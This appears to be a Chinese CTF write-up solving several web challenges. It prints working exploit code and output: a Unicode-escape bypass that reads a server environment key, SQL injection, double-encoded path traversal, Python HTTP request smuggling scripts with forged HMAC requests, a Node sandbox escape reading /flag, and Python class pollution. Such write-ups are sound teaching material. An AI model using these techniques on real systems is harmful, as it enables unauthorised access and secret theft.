偷 RUNNER_KEY

它是服务器的环境变量，存在 process.env 里。我们在外面没法直接读，

但是，找啊找啊找 ，找到一个小接口 POST /api/release/execute

哦哦哦，那我们提交 process.env.RUNNER_KEY

在执行之前，服务器会先过一道 lintExpression 检查：

如果我们直接提交 process.env.RUNNER_KEY，Linter 会发现字符串里包含 process，直接报错拒绝

我们都知道 JS 有一个鲜为人知的特性：变量名可以用 Unicode 转义

现在我们把表达式写成 \u0070rocess.env.RUNNER_KEY，那岂不就可以了

这时

对于 Linter：它看到的是 \u0070rocess，放行

对于 JS 引擎：在执行 new Function 时，它会将 \u0070 还原为 p，搞定 RUNNER_KEY

curl -s -X POST 'http://nihaohaha123.challenge.ctfplus.cn/api/release/execute' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJleHAiOjE3NzQ4Mzg4MDU2ODYsImlhdCI6MTc3NDgzNzMwNTY4Niwibm9uY2UiOiJjYzVmYzdmNTJmN2YxNTRkIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF82NzA5OTEzNWM0MzkifQ.9189cb1f401bc46c505c79a6cff44362f8c8dd31dbdda88a66d2fa2e5abb7316' \
  -d '{"expression":"\\u0070rocess.env.RUNNER_KEY"}'

Capture the flaggg

前面两部基本搞定，剩下的就是走流程了

请求 /api/release/challenge 获取 nonce

在本地使用刚刚偷到的 RUNNER_KEY、当前会话的 sid 以及 nonce 进行 SHA1 哈希计算。

将计算好的 proof 提交给 /api/release/claim，成功兑换出 Flag

curl -s -X POST 'http://nihaohaha123.challenge.ctfplus.cn/api/release/challenge' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJleHAiOjE3NzQ4Mzg4MDU2ODYsImlhdCI6MTc3NDgzNzMwNTY4Niwibm9uY2UiOiJjYzVmYzdmNTJmN2YxNTRkIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF82NzA5OTEzNWM0MzkifQ.9189cb1f401bc46c505c79a6cff44362f8c8dd31dbdda88a66d2fa2e5abb7316'

printf '%s' 'sid_67099135c439:6cb92a77b0dfdda41a4ea985:05ynmIVpVvg2JSnBI0C3wCSdjTECLzV7zftT0CBY' | shasum -a 1

curl -s -X POST 'http://nihaohaha123.challenge.ctfplus.cn/api/release/claim' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJleHAiOjE3NzQ4Mzg4MDU2ODYsImlhdCI6MTc3NDgzNzMwNTY4Niwibm9uY2UiOiJjYzVmYzdmNTJmN2YxNTRkIiwicGxhbiI6InByZXZpZXctbGFuZSIsInJvbGUiOiJndWVzdCIsInNpZCI6InNpZF82NzA5OTEzNWM0MzkifQ.9189cb1f401bc46c505c79a6cff44362f8c8dd31dbdda88a66d2fa2e5abb7316' \
  -d '{"nonce":"6cb92a77b0dfdda41a4ea985","proof":"be32f767498d4590d0173da8d687f1b89621bead"}'

OKOK

Broken Trust

某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。

神通广大的CTFer是否能发现逻辑缺陷，拿到敏感文件呢

注册一下 nihaohaha123

按一下 Refresh Session Data 看一下网络请求

发现它向 /api/profile 发了个 POST 请求，

然后响应返回了当前用户的 role、uid、username 那这个接口应该是用来同步用户信息的，接下来试试能不能注入

放到控制台里

把 “body”: ”{“uid”:”’ OR ‘1’=‘1”}”,

没加 .then

fetch("/api/profile",{method:"POST",headers:{"content-type":"application/json"},body:'{"uid":"\'  OR \'1\'=\'1"}'}).then(r=>r.json()).then(console.log)

OKOK，

点一下 Access Backup server

接口通了，接下来试试读 /flag

好吧好吧，绝对路径不行

试试 ../../../../../flag

不应该啊，

哦哦哦，那应该是做了过滤是吧，URL编码一下，

不行不行，要编码两次

嘻嘻，贴个妹妹啵

Polyglot’s Paradox

The Charm of Computer Languages

Hint 我们要访问 /api/info/

大概是有一个反向代理挡在前面，所以内部接口不能直接访问

还是习惯用 curl 看一下详细点的

X-Parser: content-length-only 说明这个代理只看 Content-Length，不管什么 Transfer-Encoding

然后先直接看看 /internal/flag

 curl -v http://nc1.ctfplus.cn:66666/internal/flag

X-Proxy-Policy: strict-path-acl

代理的拦截策略是”strict-path-acl”，也就是说代理有一个黑名单，可能是讲 /internal/* 全部被拦截

Google 一下喽，所以这个漏洞就是 HTTP Request Smuggling

致敬致敬，大佬🫡

git clone https://github.com/defparam/smuggler.git
cd smuggler

python3 smuggler.py -u http://nc1.ctfplus.cn:66666/api/info

也是用工具检测到存在 CL.TE 漏洞

所以说我们要手动改一下走私包，然后访问内部接口

也是非常喜欢 PortSwigger

我们对照着这个模版，伪造一下

POST /api/info HTTP/1.1                  //改成代理允许访问的路径，不能用 /internal/*
Host: nc1.ctfplus.cn:66666     	
Content-Length: 76                			 //走私内容的字节数
Transfer-Encoding: chunked      

0                                				 //chunked 结束符，后端认为请求在这里结束

GET /internal/admin HTTP/1.1     				 //后端把这部分当成新请求，绕过了代理的 ACL 拦截
Host: nc1.ctfplus.cn:17869
Connection: close

也是学到了，

curl 会自动处理 chunked 编码，无法手动控制 0\r\n\r\n 之后的内容，所以需要用 Python socket 直接发原始字节

import socket

smuggled = (
    "GET /internal/admin HTTP/1.1\r\n"
    "Host: nc1.ctfplus.cn:66666\r\n"
    "Connection: close\r\n\r\n"
)
outer_body = "0\r\n\r\n" + smuggled

# 外层走私请求
req1 = (
    f"POST /api/info HTTP/1.1\r\n"
    f"Host: nc1.ctfplus.cn:66666\r\n"
    f"Content-Length: {len(outer_body.encode())}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n\r\n"
    f"{outer_body}"
)

# 触发请求，让后端把走私的响应返回
req2 = (
    "GET /api/info HTTP/1.1\r\n"
    "Host: nc1.ctfplus.cn:66666\r\n"
    "Connection: close\r\n\r\n"
)

s = socket.create_connection(("nc1.ctfplus.cn",66666), timeout=10)
s.sendall((req1 + req2).encode())

# 读取所有响应
s.settimeout(5)
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except:
        break

print(data.decode("utf-8", "ignore"))

贴一下

HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 757
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"You've reached the internal admin panel. The proxy didn't stop you.","congratulations":"Step 2 complete: Proxy ACL bypassed via HTTP Request Smuggling.","next_steps":["GET  /internal/secret-fragment  - Collect HMAC secret fragments","POST /internal/config           - Update server config (HMAC auth required)","POST /internal/sandbox/execute  - Execute code in sandbox (HMAC auth required)"],"authentication":{"method":"HMAC-SHA256","headers":{"X-Internal-Token":"HMAC-SHA256 hex digest","X-Timestamp":"Current time in milliseconds (Unix epoch)","X-Nonce":"Unique random string (single use)"},"signature_format":"HMAC-SHA256(key, timestamp + ':' + nonce + ':' + requestBody)","note":"The HMAC secret can be found at /internal/secret-fragment"}}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

简单写一下就是

HTTP/1.1 404 Not Found
...
{"error":"Not found","path":"/api/info"}                         //代理正常处理

HTTP/1.1 200 OK
...
{"message":"You've reached the internal admin panel..."}         //走私进去的 /internal/admin 的 200 成功

HTTP/1.1 200 OK
...
{"name":"Polyglot's Paradox v2"...}															 //触发请求

import socket

def smuggle(host, port, smuggled_path):
    smuggled = (
        f"GET {smuggled_path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: close\r\n\r\n"
    )
    outer_body = "0\r\n\r\n" + smuggled

    req1 = (
        f"POST /api/info HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Length: {len(outer_body.encode())}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: keep-alive\r\n\r\n"
        f"{outer_body}"
    )

    req2 = (
        f"GET /api/info HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Connection: close\r\n\r\n"
    )

    s = socket.create_connection((host, port), timeout=10)
    s.sendall((req1 + req2).encode())

    s.settimeout(5)
    data = b""
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
        except:
            break
    s.close()
    return data.decode("utf-8", "ignore")

HOST = "nc1.ctfplus.cn"
PORT = 66666

# 跑 6 次，每次拿一个碎片
for i in range(6):
    print(f"\n=== 第 {i+1} 次 ===")
    result = smuggle(HOST, PORT, "/internal/secret-fragment")
    print(result)

贴一下结果

== 第 1 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 2 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 3 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 4 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 5 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

=== 第 6 次 ===
HTTP/1.1 404 Not Found
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 40
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"error":"Not found","path":"/api/info"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 632
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"message":"HMAC Secret Fragments","description":"Concatenate all fragment values in order to reconstruct the HMAC secret.","fragments":[{"index":0,"value":"z3_w","hex":"7a335f77"},{"index":1,"value":"0nt_","hex":"306e745f"},{"index":2,"value":"A_gr","hex":"415f6772"},{"index":3,"value":"i1fr","hex":"69316672"},{"index":4,"value":"1e0d","hex":"31653064"},{"index":5,"value":"!!!","hex":"212121"}],"total_fragments":6,"secret_length":23,"verification":{"md5":"c6d0df23dc2e89a88fa8f6a7fc624cb7","hint":"MD5 of the full secret for verification after reconstruction"},"next_step":"Use the secret to sign requests to /internal/config"}HTTP/1.1 200 OK
X-Proxy: Paradox-Gateway/2.0
X-Backend: hidden
X-Parser: content-length-only
Content-Type: application/json
Content-Length: 555
Connection: keep-alive
X-Powered-By: Polyglot-Paradox/2.0

{"name":"Polyglot's Paradox v2","version":"2.0.0-hell","description":"A hardened sandbox service behind a protective proxy. No source code for you.","endpoints":["GET  /                    - Welcome page","GET  /api/info            - This endpoint","POST /api/sandbox/execute - Execute code in sandbox","GET  /debug/prototype     - Prototype chain health monitor","GET  /debug/config        - Current feature flags"],"note":"There are internal endpoints that the proxy will not let you reach... directly.","security":"Code execution is protected by WAF."}

集齐碎片召唤神龙🐲 z3_w0nt_A_gri1fr1e0d!!!

下一步就是计算 HMAC 签名，然后走私 关 WAF

HMAC-SHA256(key="z3_w0nt_A_gri1fr1e0d!!!", message=timestamp + ':' + nonce + ':' + requestBody)

Agent大人请再赐予我力量，OK，脚本也是写好了

import socket
import hmac
import hashlib
import time
import uuid
import json

HOST = "nc1.ctfplus.cn"
PORT = 66666

SECRET = "z3_w0nt_A_gri1fr1e0d!!!"

# 正确格式：把 features 里面的字段一起改掉
body = json.dumps({
    "features": {
        "sandbox": True,
        "logging": True,
        "astWaf": False,
        "sandboxHardening": False
    },
    "security": {
        "maxCodeLength": 4096,
        "maxTimeout": 5000
    }
}, separators=(",", ":"))

ts = str(int(time.time() * 1000))
nc = str(uuid.uuid4())
token = hmac.new(SECRET.encode(), f"{ts}:{nc}:{body}".encode(), hashlib.sha256).hexdigest()

smuggled = (
    f"POST /internal/config HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"X-Internal-Token: {token}\r\n"
    f"X-Timestamp: {ts}\r\n"
    f"X-Nonce: {nc}\r\n"
    f"Content-Length: {len(body.encode())}\r\n"
    f"Connection: close\r\n\r\n"
    f"{body}"
)

outer = "0\r\n\r\n" + smuggled

req1 = (
    f"POST /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(outer.encode())}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n\r\n"
    f"{outer}"
)

req2 = (
    f"GET /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Connection: close\r\n\r\n"
)

s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall((req1 + req2).encode())
s.settimeout(5)
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except:
        break
s.close()
print(data.decode("utf-8", "ignore"))

两个防护都关掉了，签名验证也通过了，哦哦是时候可以庆祝一下了

Capture the flag

改一下 body

body = json.dumps({
    "code": "this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/flag','utf8')"
})

算了，直接贴脚本吧

import socket
import hmac
import hashlib
import time
import uuid
import json

HOST = "nc1.ctfplus.cn"
PORT = 66666

SECRET = "z3_w0nt_A_gri1fr1e0d!!!"

body = json.dumps({
    "code": "this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/flag','utf8')"
}, separators=(",", ":"))

ts = str(int(time.time() * 1000))
nc = str(uuid.uuid4())
token = hmac.new(SECRET.encode(), f"{ts}:{nc}:{body}".encode(), hashlib.sha256).hexdigest()

smuggled = (
    f"POST /internal/sandbox/execute HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"X-Internal-Token: {token}\r\n"
    f"X-Timestamp: {ts}\r\n"
    f"X-Nonce: {nc}\r\n"
    f"Content-Length: {len(body.encode())}\r\n"
    f"Connection: close\r\n\r\n"
    f"{body}"
)

outer = "0\r\n\r\n" + smuggled

req1 = (
    f"POST /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(outer.encode())}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n\r\n"
    f"{outer}"
)

req2 = (
    f"GET /api/info HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Connection: close\r\n\r\n"
)

s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall((req1 + req2).encode())
s.settimeout(5)
data = b""
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except:
        break
s.close()
print(data.decode("utf-8", "ignore"))

Capture it

ez_python

简单的flask python

附件是 app.py

from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Config:
    def __init__(self):
        self.filename = "app.py"

class Polaris:
    def __init__(self):
        self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

@app.route('/read')
def read():
    return open(instance.config.filename).read()

@app.route('/src')
def src():
    return open(__file__).read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)：

代码非常短，先是知道了路由结构

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

如果有 POST 数据，会转换为 JSON 然后调用 merge 整合到 instance 变量

@app.route('/read')
def read():
    return open(instance.config.filename).read()

/read：读取并返回 instance.config.filename 指定的文件内容

@app.route('/src')
def src():
    return open(__file__).read()

/src：返回当前源码

理一下思路

我们要读到 flag 但可能这个范围 /read 读不到

然后想法也是非常简单啊，就是要利用 merge() 函数 把修改 instance.config.filename 的值为 /flag

比如说下面这个

{"config": {"filename": "/flag"}}

merge() 的递归逻辑

首先是 k="config", v={"filename": "/flag"} , instance 有 config 属性且 v 是字典 → 递归进入 merge(v, instance.config)

然后有k="filename", v="/flag"，instance.config 有 filename 属性但 v 不是字典 → 进入 else，执行 setattr(instance.config, "filename", "/flag")

最终instance.config.filename 被成功覆盖为 /flag

直接 curl 吧

POST 发送 payload，污染 filename 属性

curl -X POST http://5000-93352c0d-0bdd-480a-925e-9df0cd546b86.challenge.ctfplus.cn/ \
     -H "Content-Type: application/json" \
     -d '{"config": {"filename": "/flag"}}'

OKOK，妹妹妹妹

only real

也许只有一个是真的

view-source：

登录，然后 Bp抓个包，发现是 JWT

sudo admin

哦，好吧，“非法Cookie”

御剑御剑

6 没话说，直接贴个美女吧

AutoPypy

这是一个很安全的沙箱，对，沙箱很安全